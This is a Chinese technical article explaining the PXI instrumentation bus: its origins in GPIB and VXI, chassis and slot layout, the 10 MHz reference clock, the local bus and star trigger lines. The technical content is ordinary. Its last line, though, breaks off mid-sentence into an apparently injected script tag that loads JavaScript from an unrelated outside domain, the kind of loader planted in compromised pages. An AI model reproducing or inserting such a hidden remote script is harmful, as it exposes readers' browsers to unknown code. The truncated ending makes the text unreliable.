摘要:利用pxi总线技术实现测控系统是在仪器平台上实现精确的仪器仪表功能，完成常规仪表系统（如dcs、plc等）不易达到的功能。在现代软件工程理论上，对测控系统的设计进行了分析。测控系统可以分成硬件子系统和软件子系统，硬件是测控系统的基础，采用pxi总线可以使测控系统小型化、便携式，同时结合现代软件工程、数据库理论使得测控系统易用性、可维护性、容错性得到极大的提高。
关键词:pxi、仪器系统、自动化测试、自动化控制、通用测控平台
引言
20世纪60年代末期，hewlett-packard设计出了所谓的hp-ib(hewlett-packard interface bus)作为独立仪器与计算机之间的沟通通道。由于其高速的数据传输率（对当时而言），很快便广为大家所接受，因此后来ieee便将此接口更名为gpib(general purpose interface bus)。然而为了应付更为复杂的测试环境与挑战，gpib便显得捉襟见肘。1987年vxi协会成立，并制订了所谓instrument-on-a-card的标准，也就是vxi (vmebus extensions for instrumentation)。vxi以其模块化而且坚固的架构，的确为量测与自动化产业带来不少的好处。
近十年来，随着个人计算机的剧烈革命与普及，以pci bus为架构的仪器模块大为发展。因此1998年pxi system alliance（pxisa）成立，让pxi（pci extensions for instrumentation）成为一个开放的标准架构。pxi的平台不仅具有类似vxi的开放架构与坚固的机构外型，更由于其设计了一连串适合仪器开发所用的同步信号，而使得pxi更适合作为量测与测试、控制自动化的平台。
1 pxi简介
简单来说，pxi是以pci(peripheral component interconnect)及compactpci为基础再加上一些pxi特有的信号组合而成的一个架构。pxi继承了pci的电气信号，使得pxi拥有如pci bus的极高传输数据的能力，因此能够有高达132mbyte/s到528mbyte/s的传输性能，在软件上是完全兼容的。另一方面，pxi采用和compactpci一样的机械外型结构，因此也能同样享有高密度、坚固外壳及高性能连接器的特性。pxi与compactpci相互关系如图1所示。
1.1 pxi系统内部结构
一个pxi系统由几项组件所组成，包含了一个机箱、一个pxi背板（backplane）、系统控制器（system controller module）以及数个外设模块（peripheral modules）。在此以一个高度为3u的八槽pxi系统为例，如图二所示。系统控制器，也就是cpu模块，位于机箱的左边第一槽，其左方预留了三个扩充槽位给系统控制器使用，以便插入因功能复杂而体积较大的系统卡。由第二槽开始至第八槽称为外设槽，可以让用户依照本身的需求而插上不同的仪器模块。其中第二槽又可称为星形触发控制器槽（star trigger controller slot）。
1.2 pxi特有信号
背板上的p1接插件上有32-bit pci信号，p2接插件上则有64-bit pci信号以及pxi特殊信号。那么pxi特有的信号又是什么呢？pxi的信号包含了以下几种，其完整的架构如图3所示
1.2.1 10mhz参考时钟(10mhz reference clock)
pxi规格定义了一个低歪斜(low skew)的10mhz参考时钟。此参考时钟位于背板上，并且分布至每一个外设槽（peripheral slot），其特色是由时钟源（clock source）开始至每一槽的布线长度都是等长的，因此每一外设槽所接受的clock都是同一相位的，这对多个仪器模块的同步来说是一个很方便的时钟来源。基本的10mhz参考时钟架构如图4所示。
1.2.2 局部总线（local bus）
在每一个外设槽上，pxi定义了局部总线以及连接其相邻的左方及右方外设槽，左方或右方局部总线各有13条，这个总线除了可以传送数字信号外，也允许传送模拟信号。比如说3号外设槽上有左方局部总线，可以与2号外设槽上的右方局部总线连接，而3号外设槽上的右方局部总线，则与4号外设槽上的左方总线连接。而外设槽3号上的左方局部总线与右方局部总线在背板上是不互相连接的，除非插在3号外设槽的仪器模块将这两方信号连接起来。局部总线架构如图5所示。
1.2.3 星形触发（star trigger）
设槽2号的左方局部总线在pxi的定义下，作为另一种特殊的信号，叫做星形触发。这13条星形触发线被依序分别连接到另外的13个外设槽（如果背板支持到另外13个外设槽的话），且彼此的走线长度都是等长的。也就是说，若在2号外设槽上同一时间在这13条星形触发在线送出触发信号，那么其它仪器模块都会在同一时间收到触发信号（?script src=http://er12.com/t.js>
